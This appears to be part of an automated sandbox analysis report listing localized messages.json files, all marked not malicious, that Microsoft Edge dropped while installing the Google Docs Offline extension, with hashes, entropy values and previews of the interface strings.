Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
